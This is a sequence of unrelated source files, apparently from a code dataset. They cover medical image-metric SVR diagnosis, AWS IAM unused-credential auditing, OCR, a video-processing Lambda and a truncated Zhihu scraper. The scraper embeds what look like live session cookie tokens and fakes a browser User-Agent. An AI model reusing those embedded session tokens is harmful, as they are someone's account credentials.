| 965 |\n +------------+-------------+-------------+-------------+-------------+----------+----------+\n | 233224_R | 3954.48823 | 949.6655136 | 0.714155514 | 0.328319499 | 220505 | 718 |\n +------------+-------------+-------------+-------------+-------------+----------+----------+\n\n where the integer _1, _2 and _3 are the classes of the segmentation which the metrics were\n computed. (Columns for _3 was hidden for the sake of line width).\n\n This table can be generated using the command `msdtk-label_statistics`.\n\n For `gt`, the table should look like this:\n\n +------------+------------+---------+------+--------------------+-------+\n | Patient ID | Right/Left | Healthy | Cyst | Mucosal Thickening | Group |\n +============+============+=========+======+====================+=======+\n | 60304 | R | 1 | 0 | 0 | 0 |\n +------------+------------+---------+------+--------------------+-------+\n | 60304 | L | 1 | 0 | 0 | 0 |\n +------------+------------+---------+------+--------------------+-------+\n | 97421 | R | 0 | 0 | 1 | 2 |\n +------------+------------+---------+------+--------------------+-------+\n | 97421 | L | 0 | 0 | 1 | 2 |\n +------------+------------+---------+------+--------------------+-------+\n\n\n \"\"\"\n def create_mindex(data_col):\n return pd.MultiIndex.from_tuples([o.split('_') for o in data_col],\n names=('Patient ID', 'Right/Left'))\n\n\n\n if s2_res is not None:\n s1df = pd.read_csv(s1_res, index_col=0) if isinstance(s1_res, str) else s1_res\n s1df.drop('sum', inplace=True)\n s1df.drop('avg', inplace=True)# Drop sum and avg\n s1df.index = create_mindex(s1df.index)\n # Only retain air space volumes and perimeter\n s1df = s1df[['Volume_1', 'Perimeter_1']]\n s1df.columns = ['Volume_Air', 'Perimeter_Air']\n\n s2df = pd.read_csv(s2_res, index_col=0) if isinstance(s2_res, str) else s2_res\n s2df.drop('sum', inplace=True)\n s2df.drop('avg', inplace=True)\n s2df.index = create_mindex(s2df.index)\n s2df = s2df[['Volume_1', 'Volume_2', 'Perimeter_1', 'Perimeter_2', 'Roundness_1', 'Roundness_2']]\n s2df.columns = ['Volume_MT', 'Volume_MRC', 'Perimeter_MT', 'Perimeter_MRC', 'Roundness_MT', 'Roundness_MRC']\n\n if not gt is None:\n gtdf = pd.read_csv(gt) if isinstance(gt, str) else gt\n gtdf = gtdf.astype({'Patient ID': str})\n gtdf.set_index(['Patient ID', 'Right/Left'], drop=True, inplace=True)\n\n df = gtdf.join(s1df, how='right').join(s2df)\n else:\n df = s1df.join(s2df)\n\n else:\n s1df = pd.read_csv(s1_res, index_col=0) if isinstance(s1_res, str) else s1_res\n s1df.index = create_mindex(s1df.index)\n s1df.drop('sum', inplace=True)\n s1df.drop('avg', inplace=True)\n s1df.drop('Volume_0', axis=1, inplace=True)\n\n colnames = list(s1df.columns)\n rename = {}\n for sub_str, new_sub_str in {\"1\": \"Air\", \"2\": \"MT\", \"3\": \"MRC\"}.items():\n for features in ['Volume', 'Perimeter', 'Roundness']:\n rename['_'.join([features, sub_str])] = '_'.join([features, new_sub_str])\n s1df.rename(rename, axis=1, inplace=True)\n s1df.drop('Roundness_Air', axis=1, inplace=True, errors=False)\n s1df = s1df[['Volume_Air', 'Perimeter_Air',\n 'Volume_MT', 'Volume_MRC', 'Perimeter_MT', 'Perimeter_MRC', 'Roundness_MT', 'Roundness_MRC']]\n\n if not gt is None:\n gtdf = pd.read_csv(gt) if isinstance(gt, str) else gt\n gtdf = gtdf.astype({'Patient ID': str})\n gtdf.set_index(['Patient ID', 'Right/Left'], drop=True, inplace=True)\n\n df = gtdf.join(s1df, how='right')\n else:\n df = s1df\n print(df.to_string())\n return df\n\n\n\nclass Seg2Diag(object):\n def __init__(self):\n r\"\"\"\n Description:\n This class is the core predictor for step 3 of the algorith, in which the pathologies MT/MRC were predicted\n using support vector regression.\n\n Attributes:\n default_dict (dict):\n This dictionary dictates which column of the inputs corresponds to which interested pathologies. The\n key of the dictionary are the supposed name of the pathology used in this object, the corresponding\n values are the column names of the input data sheet. One model will be trained for each key.\n\n Examples:\n >>> from seg2diag import Seg2Diag, data_preparation\n >>> s = Seg2Diag()\n >>> data = data_preparation('s1.csv', 's2.csv', 'gt.csv')\n >>> s.fit(data)\n\n \"\"\"\n super(Seg2Diag, self).__init__()\n\n # This default dict maps the keys to the column name of the target ground-truth in `df`\n self.default_dict = {\n 'MT': 'Mucosal Thickening',\n 'MRC': 'Cyst',\n 'Healthy': 'Healthy'\n }\n self.cutoff_method='youden'\n pass\n\n def fit(self, df: pd.DataFrame, params=None) -> List[Pipeline]:\n r\"\"\"\n For training, the input dataframe should contain the MT and MRC status in the first\n four columns, the rest are the features used for training, which includes the volume, perimeter and roundness\n of the lesions, and only volume and perimeter for air-space\n \"\"\"\n # Drop Ground truth status to get the features, assume first four columns are the ground-truth.\n X = df.drop(df.columns[:4], axis=1)\n\n # Compute class weights\n self.models = {}\n for key in self.default_dict:\n _model = Pipeline([('scaler', StandardScaler()), ('svc', svm.SVR())])\n _model.fit(X, df[self.default_dict[key]])\n self.models[key] = _model\n\n training_prediction_index = self.predict(X)\n\n # Compute default cut-off with youden index.\n self.compute_cutoff(X, df)\n return self.models\n\n def predict(self, X):\n return {m: self.models[m].predict(X) for m in self.default_dict}\n\n def predict_and_report(self,\n X: pd.DataFrame,\n report_fname: Union[str, Path],\n ground_truth: pd.DataFrame = None\n ) -> None:\n r\"\"\"\n Predict and generate an Excel rerpot. The excel should have two sheets named 'SVR result' and 'Cutoffs'.\n \"\"\"\n prediction = self.predict(X)\n out = {key: prediction[key] >= self.cutoffs[key] for key in self.default_dict}\n gt = {key: ground_truth[self.default_dict[key]] for key in self.default_dict} if ground_truth is not None else None\n df_out = pd.DataFrame(X)\n df_cutoff = pd.DataFrame()\n out_cols = []\n for key in prediction:\n df_out[f'SVR Score - {key}'] = prediction[key]\n df_out[f'SVR Prediction - {key}'] = out[key]\n if not gt is None:\n df_out[f'Diagnosis - {key}'] = gt[key]\n out_cols.extend([f'SVR Score - {key}', f'SVR Prediction - {key}', f'Diagnosis - {key}'])\n else:\n out_cols.extend([f'SVR Score - {key}', f'SVR Prediction - {key}'])\n df_cutoff = df_cutoff.append(pd.Series(name=key, data=[self.cutoffs[key]]))\n\n out_fname = Path(report_fname)\n if out_fname.suffix != '.xlsx':\n out_fname = out_fname.with_suffix('.xlsx')\n if not out_fname.parent.is_dir():\n out_fname.parent.mkdir(parents=True, exist_ok=True)\n if not out_fname.parent.is_dir():\n raise IOError(f\"Cannot create directory for outputing report at: {out_fname.resolve()}\")\n\n with pd.ExcelWriter(out_fname.resolve()) as writer:\n df_out[out_cols].to_excel(writer, sheet_name='SVR result')\n df_cutoff.to_excel(writer, sheet_name='Cutoffs')\n writer.save()\n\n\n def save(self, outfname:str = None):\n if outfname is None:\n outfname = 's3_seg2diag.msdtks2d'\n if not outfname.endswith('.msdtks2d'):\n outfname += '.msdtks2d'\n _save_content = {'models': self.models,\n 'cutoffs': self.cutoffs,\n 'cutoff_method': self.cutoff_method,\n 'default_dict': self.default_dict}\n\n dump(_save_content, outfname)\n\n def load(self, infname):\n _loaded_content = load(infname)\n for key in _loaded_content:\n self.__setattr__(key, _loaded_content[key])\n\n def compute_cutoff(self,\n X: pd.DataFrame,\n Y: pd.DataFrame or dict,\n method: str = 'union') -> dict:\n r\"\"\"\n This method is called by default in `fit` after the models have been fitted.\n For each of the regressed index with respect to MT, MRC and Healthy, a threshold\n on the ROC curve is computed using the specified method.\n\n In clinical studies, it is more common to deduce the threshold from the testing set\n such that performance metrics like sensitivity and specificity can be calculate. In\n this case this method should be called again after fitting.\n\n Args:\n X (pd.DataFrame):\n Table for prediction. All columns are used as covariates.\n Y (pd.DataFrame):\n Ground truth. Table should contains the ground truth binary status for the\n prediction which are specified in `self.defulat_dict`.\n method (str):\n\n \"\"\"\n self.cutoffs = {}\n # check Y has target\n if not all([self.default_dict[key] in Y for key in self.default_dict]):\n raise AttributeError(f\"Requested key {Y.keys()} were not found in: {self.default_dict.keys()}.\")\n\n validkeys = ['youden', 'union']\n assert method in validkeys, f\"Available methods are: [{'|'.join(validkeys)}], got '{method}' instead.\"\n self.cutoff_method=method\n if method == 'youden':\n for key in self.default_dict:\n model = self.models[key]\n gt_y = Y[self.default_dict[key]]\n # compute ROC\n roc = roc_curve(gt_y, model.predict(X))\n self.cutoffs[key] = Seg2Diag._cutoff_youdens_j(*roc)\n return self.cutoffs\n elif method == 'union':\n for key in self.default_dict:\n model = self.models[key]\n gt_y = Y[self.default_dict[key]]\n # compute ROC\n roc = roc_curve(gt_y, model.predict(X))\n auc = roc_auc_score(gt_y, model.predict(X))\n self.cutoffs[key] = Seg2Diag._index_of_union(*roc, auc)\n return self.cutoffs\n\n\n def plot_model_results(self,\n X: pd.DataFrame,\n Y: pd.DataFrame,\n save_png: str = None,\n show_plot: bool = False,\n ax=None ,**kwargs):\n r\"\"\"\n Plot the performance of the model on the given dataset, including t\n \"\"\"\n import matplotlib.pyplot as plt\n\n\n if ax is None:\n fig, ax = plt.subplots(1, 1, figsize=(8, 8))\n\n for key in self.default_dict:\n prediction = self.models[key].predict(X)\n gt = Y[self.default_dict[key]]\n roc = roc_curve(gt, prediction, drop_intermediate=False)\n auc = roc_auc_score(gt, prediction)\n\n report = classification_report(gt, prediction >= self.cutoffs[key], output_dict=True)\n sens = report['1']['recall']\n specificity = report['0']['recall']\n ax.plot(roc[0], roc[1], label=f\"{key} (AUC: {auc:.02f};Sens:{sens:.02f}, Spec: {specificity:.03f})\")\n ax.plot(1-specificity, sens, 'o')\n\n\n # Plot other stuff\n ax.plot([0, 1], [0, 1], '--', color='Gray', **kwargs)\n ax.set_ylabel('Sensitivity', fontsize=18)\n ax.set_xlabel('1 - Specificity', fontsize=18)\n ax.set_title('ROC curve for detection of MT and MRC', fontsize=18)\n ax.legend(fontsize=18)\n\n if not save_png is None:\n out_path = Path(save_png)\n if not out_path.parent.is_dir():\n print(f\"Cannot save, directory doesn't exist: {out_path.resolve()}\")\n else:\n plt.savefig(out_path.resolve())\n plt.cla()\n\n if show_plot:\n plt.show()\n\n @staticmethod\n def _cutoff_youdens_j(fpr,tpr,thresholds):\n j_scores = tpr-fpr\n j_ordered = sorted(zip(j_scores,fpr, tpr, thresholds))\n return j_ordered[-1][1]\n\n @staticmethod\n def _concordance_probability(fpr, tpr, thresholds):\n r\"\"\"\"\"\"\n cz = tpr * (1-fpr)\n i = np.argmax(cz)\n return thresholds[i]\n\n @staticmethod\n def _index_of_union(fpr, tpr, thresholds, auc):\n r\"\"\"\n Perkins and Schisterman index of union.\n\n .. math::\n IU(c) = (|\\text{Se}(c) - \\text{AUC}| + |\\text{Sp}(c)-\\text{AUC}|)\n\n c_{optimal}=\\arg \\min_c IU(c) + |\\text{Se}(c) - \\text{Sp}(c)|\n\n .. Reference::\n\n \"\"\"\n iu = np.abs(tpr - auc) + np.abs(-fpr+1-auc)\n d = np.abs(tpr - 1 + fpr)\n\n C = iu + d\n return thresholds[np.argmin(iu)]\n\n","repo_name":"alabamagan/maxillary_sinus_diagnosis_toolkit","sub_path":"msdtk/pipeline/steps/seg2diag.py","file_name":"seg2diag.py","file_ext":"py","file_size_in_byte":15843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2068050967","text":"# (c) 2021 Amazon Web Services, Inc. or its affiliates. All Rights Reserved.\n# This AWS Content is provided subject to the terms of the AWS Customer\n# Agreement available at https://aws.amazon.com/agreement/ or other written\n# agreement between Customer and Amazon Web Services, Inc.\n\n\"\"\"aws-iam-find-unused-credentials-org\n\nThis function dynamically queries you AWS Organization for a list of AWS\nAccounts and returns a list of IAM Users that have either never logged in or\nhaven't logged in during the last x days.\n\"\"\"\n\nimport boto3\nimport os\nimport logging\nimport datetime\nimport dateutil\n\n# setup script logging\nlog = logging.getLogger()\nlog.setLevel(logging.INFO)\n\n# AWS Organizations Client\norg_client = boto3.client('organizations')\n\n# AWS Lambda Client\nlambda_client = boto3.client('lambda')\n\n\n# main Python Function, parses events sent to lambda\ndef lambda_handler(event, context):\n\n # environment Variables\n # Replace with your OrgID\n ou_id = 'o-ab12cdefgh'\n\n # get AWS account details from AWS Organizations\n if ou_id:\n account_list = list_aws_accounts_for_ou(ou_id)\n else:\n account_list = list_all_aws_accounts()\n # loop through all accounts and trigger the IAM Rotation Lambda\n find_unused_credentials(account_list)\n\n\ndef list_all_aws_accounts():\n \"\"\"\n Gets the current list of all AWS Accounts from AWS Organizations.\n\n :return The current dict of all AWS Accounts.\n \"\"\"\n account_list = []\n try:\n # max limit of 20 users per listing\n # use paginator to iterate through each page\n paginator = org_client.get_paginator('list_accounts')\n page_iterator = paginator.paginate()\n for page in page_iterator:\n for acct in page['Accounts']:\n account_list.append(acct)\n except org_client.exceptions.ClientError as error:\n log.error(f'Error: {error}')\n\n return account_list\n\n\ndef list_aws_accounts_for_ou(ou_id):\n \"\"\"\n Gets the current list of AWS Accounts in an OU from AWS Organizations.\n\n :return The current dict of all AWS Accounts.\n \"\"\"\n log.info(f\"Searching for accounts in OU {ou_id}\")\n account_list = []\n\n # first add accounts directly in the ou\n try:\n # max limit of 20 accounts per listing\n # use paginator to iterate through each page\n lafp_paginator = org_client.get_paginator('list_accounts_for_parent')\n lafp_page_iterator = lafp_paginator.paginate(ParentId=ou_id)\n for page in lafp_page_iterator:\n for acct in page['Accounts']:\n account_list.append(acct)\n except org_client.exceptions.ClientError as error:\n log.error(f'Error: {error}')\n\n # next add accounts in child ous\n try:\n # max limit of 20 children per listing\n # use paginator to iterate through each page\n lc_paginator = org_client.get_paginator('list_children')\n ou_page_iterator = lc_paginator.paginate(\n ParentId=ou_id,\n ChildType='ORGANIZATIONAL_UNIT'\n )\n for page in ou_page_iterator:\n for child in page['Children']:\n # recurse over child ous and add the accounts they contain\n log.info(f\"Adding accounts from child OU {child['Id']}\")\n account_list += list_aws_accounts_for_ou(child['Id'])\n except org_client.exceptions.ClientError as error:\n log.error(f'Error: {error}')\n\n log.info(f\"Found {len(account_list)} accounts in OU {ou_id}\")\n\n return account_list\n\n\ndef find_unused_credentials(awsAccountArray):\n \"\"\"\n Evaluates last password use date.\n\n \"\"\"\n action_queue = []\n\n # Calculate the date x days ago to to determine if an account is now unused\n now = datetime.datetime.now(tz=dateutil.tz.gettz('Europe/London'))\n UnusedSinceDays = dateutil.relativedelta.relativedelta(days=5)\n UnusedSinceDate = now - UnusedSinceDays\n\n for account in awsAccountArray:\n # skip accounts that are suspended\n if account['Status'] != 'ACTIVE':\n continue\n aws_account_id = account['Id']\n log.info(f'Currently evaluating Account ID: {aws_account_id}')\n\n account_session = get_account_session(aws_account_id)\n iam_client = account_session.client('iam')\n\n try:\n # Get all Users in AWS Account\n users = iam_client.list_users()['Users']\n if not users:\n log.info('There are no users in this account.')\n else:\n total_users = len(users)\n\n log.info(\n f'Starting user loop. There are {total_users}'\n f' users to evaluate in this account.')\n log.info('---------------------------')\n\n # Get when password was last used\n for user in users:\n try:\n LastPass = user['PasswordLastUsed']\n except:\n LastPass = None\n\n # If the account has never been logged into, add to queue\n if LastPass is None:\n action_queue.append({\n 'AWS Account': aws_account_id,\n 'User ID': user['UserName'],\n 'Last Login': 'None'\n })\n\n # If the account hasn't been used since the date we\n # calculated earlier, add it to the list with the last used\n # datetime\n elif LastPass <= UnusedSinceDate:\n action_queue.append({\n 'AWS Account': aws_account_id,\n 'User ID': user['UserName'],\n 'Last Login': LastPass\n })\n\n except iam_client.exceptions.ClientError as error:\n log.error(f'Error: {error}')\n\n # Print the action queue to the logs. You should send this somewhere useful\n print(action_queue)\n\n\ndef get_account_session(aws_account_id):\n\n # Create an STS client object that represents a live connection to the\n # STS service\n base_sts_client = boto3.client('sts')\n\n # Add the name of the role created in each of your AWS Accounts for the\n # Lambda function to assume\n iam_assumed_role_name = 'example-role'\n\n my_session = boto3.session.Session()\n my_region = my_session.region_name\n\n # Call the assume_role method of the STSConnection object and pass the\n # role ARN and a role session name.\n roleArnString = f\"arn:aws:iam::{aws_account_id}:\" \\\n f\"role/{iam_assumed_role_name}\"\n\n try:\n credentials = base_sts_client.assume_role(\n RoleArn=roleArnString,\n RoleSessionName=\"unused-credentials-function\"\n )['Credentials']\n except base_sts_client.exceptions.ClientError as error:\n log.error(\n f'Check that AccountID: [{aws_account_id}] has the correct IAM'\n f' Assume Role deployed to it via the CloudFormation StackSet'\n f' Template. Raw Error: {error}')\n raise\n\n # From the response that contains the assumed role, get the temporary\n # credentials that can be used to make subsequent API calls\n assumed_session = boto3.Session(\n aws_access_key_id=credentials['AccessKeyId'],\n aws_secret_access_key=credentials['SecretAccessKey'],\n aws_session_token=credentials['SessionToken']\n )\n return assumed_session\n","repo_name":"dgwalters/aws-iam-find-unused-credentials-org","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":7496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71380266293","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\narr=[]\nfor i in range(N):\n temp=[]\n a,b=map(int, input().split())\n arr.append([a,b])\narr.sort(key=lambda x:(x[1],x[0]))\n#arr.sort()\n\nfor i in range(len(arr)):\n print((arr)[i][0],(arr)[i][1])\n\n# 걍 반대로 a랑 b를 반대로 저장해서 출력을 반대로 해주면 전에 푼 문제랑 똑같다","repo_name":"hanghae99-Algorithm-study-12/study","sub_path":"강전호/3주차/과제/13회차(퀵소트)/백준_좌표정렬하기2.py","file_name":"백준_좌표정렬하기2.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17534084741","text":"#!/usr/bin/python\nimport re\nfrom os import system\n\npattern = re.compile(r\"\\['([^']+)','([^']+)',\")\ntree_data = open('Contents/Resources/Documents/treedata.js', 'r').read()\nindices = pattern.findall(tree_data)\noutput = open('indices.sql', 'w+')\ntranslators = [\n (re.compile(r\"QML (\\S+) Element\"), 'Element'), \n (re.compile(r\"(\\S+) Namespace\"), 'Namespace'),\n (re.compile(r\"(\\S+) QML Plugin\"), 'Module'),\n]\nexcluded_pages = [\n 'qt4/index.html', 'qt4/qtcore.html', 'qt4/qtgui.html', \n 'qtmobility/qml-plugins.html', \n]\n\n# Table specifications\noutput.write(\"CREATE TABLE searchIndex(id INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);\")\noutput.write(\"CREATE UNIQUE INDEX anchor ON searchIndex (name, type, path);\")\n\ndef write_entry(title, type, path):\n output.write(\"INSERT INTO searchIndex(name,type,path) VALUES ('{0}','{1}','{2}');\\n\".format(title, type, path))\n\nfor title, path in indices:\n type = 'Entry'\n if path.startswith('guide/'):\n type = 'Guide'\t# Guides\n elif path.startswith('manpages/'):\n type = 'Command'\t# Man Pages\n elif path.startswith('categories/'):\n type = 'Category'\t# Category\n elif title[0] == 'Q' and ' ' not in title and 'qt' in path:\n type = 'Class'\t# Qt class\n elif title[0] == 'G' and ' ' not in title and 'glib' in path:\n type = 'Class' # Glib class\n elif title.startswith('Gst') and ' ' not in title:\n type = 'Class' # Gstreamer class\n elif title.startswith('gl') and path.startswith('opengl') or title.startswith('egl') and path.startswith('egl/'):\n type = 'Function'\t# Open GL C-style functions\n elif 'class' in path and ' ' not in title:\n type = 'Class'\t# Platform SDK class\n elif 'struct' in path and ' ' not in title:\n type = 'Struct'\t# Platform SDK struct\n elif path.endswith('/main.html') or path.endswith('/index.html'):\n type = 'Library'\t# Platform Library overview\n elif 'example' in path or title.startswith('Index') or 'API Index' in title:\n continue\t# Examples and indices page\n elif path in excluded_pages:\n continue\n\n # Translate long names\n for expr, alt_type in translators:\n match = expr.match(title)\n if match:\n title = match.group(1)\n type = alt_type\n \n write_entry(title, type, path)\n\noutput.close()\n\n# Write indices to SQLite library\nsystem('mkdir -p Contents/Resources/')\nsystem('sqlite3 Contents/Resources/docSet.dsidx < indices.sql')\n","repo_name":"rschiang/MeeGoHarmattan.docset","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73033392373","text":"# Time: O(h)\n# Space: O(1)\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def inorderSuccessor(self, root, p):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :rtype: TreeNode\n \"\"\"\n # If it has right subtree.\n if p and p.right:\n p = p.right\n while p.left:\n p = p.left\n return p\n\n # Search from root.\n successor = None\n while root and root != p:\n if root.val > p.val:\n successor = root\n root = root.left\n else:\n root = root.right\n\n return successor\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/kamyu104_LeetCode/LeetCode-master/Python/inorder-successor-in-bst.py","file_name":"inorder-successor-in-bst.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"14018233392","text":"import cv2\r\nimport pytesseract\r\nimport mahotas\r\n\r\n#img_name = 'number4.png'\r\n#image = cv2.imread(img_name)\r\n#cv2.imwrite('img.jpg',image)\r\ndef recon_borde(image):\r\n image=cv2.resize(image,(50,50))\r\n #t= mahotas.thresholding.otsu(image)\r\n t = 115\r\n counter = 0\r\n for k in range(50):\r\n for z in range(50):\r\n color=image[k,z]\r\n if color>t:\r\n image[k,z]=255\r\n \r\n else:\r\n counter +=1\r\n image[k,z]=0\r\n print(counter)\r\n thresh = image.copy()\r\n return thresh\r\n\r\nimg = cv2.imread('0.jpg',0)\r\n\r\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\r\n#img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\r\n#img = cv2.cvtColor(img,cv2.COLOR_RGB2GRAY)\r\n#thresh = recon_borde(img)\r\ntext = pytesseract.image_to_string(img, lang = \"letsgodigital\")\r\nprint('text = ', text)\r\ncv2.imshow('result',img)\r\ncv2.waitKey(0)\r\n \r\n\r\n#https://tesseract-ocr.github.io/tessdoc/4.0-with-LSTM.html#400-alpha-for-windows\r\n#config = \"--psm 13 -c tessedit_char_whitelist=0123456789\"","repo_name":"B0206040/Tesseract","sub_path":"OCR_cv2.py","file_name":"OCR_cv2.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"922056994","text":"from __future__ import print_function\nimport boto3\nimport os\nimport sys\nimport uuid\nimport logging\nimport time\nfrom random import randint\nimport subprocess as sp\nimport threading\nimport Queue\nimport json\n\nCUT_TOOL = \"./cut.sh\"\nCHUNK_SIZE = 10\nINPUT_VIDEO_BUCKET = \"\"\nTEMP_VIDEO_BUCKET = \"\"\nRESULT_BUCKET = \"\"\nWORKER_LAMBDA = \"\"\nREDUCER_LAMBDA = \"\"\nSNS_TOPIC_ARN = \"\"\n\nsys.path.append(\".\") \nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n \ns3_client = boto3.client('s3')\n\ndef split_video(file_name):\n command = [ CUT_TOOL, file_name, str(CHUNK_SIZE)]\n num_chunks = 0\n try :\n num_chunks = int(sp.check_output(command).rstrip()) - 1\n except sp.CalledProcessError as e:\n logger.info(\"the exception is \" + str(e.output))\n return num_chunks;\n\ndef geti(i):\n if i < 10:\n return \"00%d\" % i\n elif i < 100:\n return \"0%d\" % i\n else:\n return str(i)\n\ndef get_video_part_name(video_name, i):\n return video_name.split(\".\")[0] + \"-\" + geti(i) + \".\" + video_name.split(\".\")[1] \n\ndef upload_fire(queue, bucket, part_name):\n client = boto3.session.Session()\n s3_client = client.client('s3')\n file_path = \"/tmp/\" + part_name \n s3_client.upload_file(file_path, TEMP_VIDEO_BUCKET, part_name) \n lambda_client = client.client('lambda')\n data = lambda_client.invoke(FunctionName=WORKER_LAMBDA, InvocationType='RequestResponse', Payload=json.dumps({\"key\":part_name}))[\"Payload\"].read()\n data = json.loads(data)\n queue.put(data)\n\ndef invoke_reducer(list_keys, video_name):\n lambda_client = boto3.client('lambda')\n return lambda_client.invoke(FunctionName=REDUCER_LAMBDA, InvocationType='RequestResponse', Payload=json.dumps({\"key_list\": list_keys, \"video_name\" : video_name}))[\"Payload\"].read()\n\ndef notify_sns(output_key):\n message = {\"output_key\": output_key}\n client = boto3.client('sns')\n response = client.publish(\n TargetArn=SNS_TOPIC_ARN,\n Message=json.dumps({'default': json.dumps(message)}),\n MessageStructure='json'\n )\n\ndef invoke_threads(unique_video_name, download_path, num_chunks):\n data_queue = Queue.Queue() \n threads = []\n for i in range(1,num_chunks+1):\n t = threading.Thread(target=upload_fire, args = (data_queue, TEMP_VIDEO_BUCKET, get_video_part_name(unique_video_name, i)))\n t.start()\n threads.append(t)\n for t in threads:\n t.join()\n return data_queue\n\ndef write_to_s3(data,video_file):\n file_name = video_file.split(\".\")[0] + \".txt\"\n f = file('/tmp/'+ file_name, \"w+\")\n f.write(data)\n f.close()\n s3_client.upload_file(\"/tmp/\"+file_name, RESULT_BUCKET, file_name)\n \ndef cleanup_files(video_filepath):\n sp.check_call([\"rm\", \"-rf\", video_filepath +\"*\"])\n\ndef handle(key):\n unique_video_name = \"{}{}\".format(uuid.uuid4(), key)\n download_path = '/tmp/%s' % unique_video_name\n s3_client.download_file(INPUT_VIDEO_BUCKET, key, download_path)\n num_chunks = split_video(download_path)\n output_key_queue = invoke_threads(unique_video_name, download_path, num_chunks)\n output_key_list = []\n len_queue = output_key_queue.qsize()\n for i in range(0, len_queue):\n output_key_list.append(output_key_queue.get()[\"output_key\"])\n output_key = invoke_reducer(output_key_list, unique_video_name)\n notify_sns(output_key) \n cleanup_files(download_path) \n return {\"output\" : output_key}\n\ndef handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n return handle(key) \n\n\n","repo_name":"excamera/Pipelines","sub_path":"masterLambda/lambdaMain.py","file_name":"lambdaMain.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5884706178","text":"import sys\r\n\r\ningest_file = sys.argv[1]\r\nstaging_file = sys.argv[2]\r\ningest_file_format = sys.argv[3]\r\nstaging_file_format = sys.argv[4]\r\n\r\nwith open(ingest_file, encoding='utf-8') as f:\r\n ingest = [line.split('\\t')[3].replace('.' + ingest_file_format, '') for line in f.readlines()]\r\n\r\nwith open(staging_file, encoding='utf-8') as f:\r\n staging = []\r\n for line in f.readlines():\r\n pathSplit = line.split('\\t')[3].split('/')\r\n if (len(pathSplit) > 6):\r\n fileName = pathSplit[6].replace('.' + staging_file_format, '')\r\n staging.append(fileName)\r\n\r\ndiff = list(set(ingest) - set(staging))\r\n\r\nprint('\\n'.join([f\"{d}\" for d in diff]))","repo_name":"fl3sc0b/azblob-ingestion-filechecker","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34241596727","text":"#!/usr/bin/env python3\r\n# coding=utf-8\r\nimport os\r\nimport json\r\nimport time\r\nimport random\r\n\r\nimport brotli\r\nimport requests\r\n\r\n\r\napi_url = \"https://www.zhihu.com/api/v4/members/{member_name}/articles\"\r\n\r\nparams = {\r\n \"include\": \"data[*].comment_count,suggest_edit,is_normal,thumbnail_extra_info,thumbnail,can_comment,comment_permission,admin_closed_comment,content,voteup_count,created,updated,upvoted_followees,voting,review_info,is_labeled,label_info;data[*].author.badge[?(type=best_answerer)].topics\",\r\n \"offset\": \"0\",\r\n \"limit\": \"20\"\r\n}\r\n\r\nreq_headers = {\r\n \"Accept\": \"*/*\",\r\n \"Accept-Encoding\": \"gzip, deflate, br\",\r\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\r\n \"Connection\": \"keep-alive\",\r\n \"Cookie\": '_xsrf=SE63x3urTp9rKORk2yxD6QlnJvaQHJ8g; _zap=3058a75e-6510-4430-bba4-b64283308703; d_c0=\"APBl_DgUGA6PThP3D96P6Ee2vv93uOKxWy4=|1534914082\"; q_c1=54f5a04b3a7647da9722267e04c33762|1534915940000|1534915940000; l_cap_id=\"NGZlNGJkMDgxZGVlNDI4Njk4NDBlYzdkY2Q5YTdkNGE=|1547598703|c9cc541f11d88d468dc24d72cfe6ea1b30f6ec36\"; r_cap_id=\"MjMwODBiNTI2MTJjNGI5NmEwNWYyMDQ1NTU0NjBkMTI=|1547598703|06b461571a1d538270e3f930b3ac073525fcc1e8\"; cap_id=\"Mjc2ZGZhMDQzMmU0NDg2YWEzODYyZTJkNjEzMWZhYmE=|1547598703|1daee2e8ec44f14c8656b1df6f588bcc7896cad0\"; __utmz=155987696.1547599589.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=155987696.1529523650.1547599589.1547599589.1547606092.2; tgw_l7_route=116a747939468d99065d12a386ab1c5f',\r\n 'Host': 'www.zhihu.com',\r\n \"User-Agent\": 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'\r\n}\r\n\r\nsession = requests.Session()\r\ncode_errors = []\r\n\r\ndef get_articles(api_url, member_name):\r\n \"\"\"获取指定用户的文章内容\r\n 仅获取第一页\r\n \"\"\"\r\n offset = 0\r\n limit = 20\r\n params['offset'] = str(offset)\r\n params['limit'] = str(limit)\r\n rs = get_api_results(api_url.format(member_name=member_name), params, req_headers)\r\n time.sleep(random.randint(1, 3))\r\n if rs:\r\n print(\"user {} articles success! 总条数: {}\".format(member_name, rs['paging']['totals']))\r\n if rs['data']:\r\n print(\"返回条数: 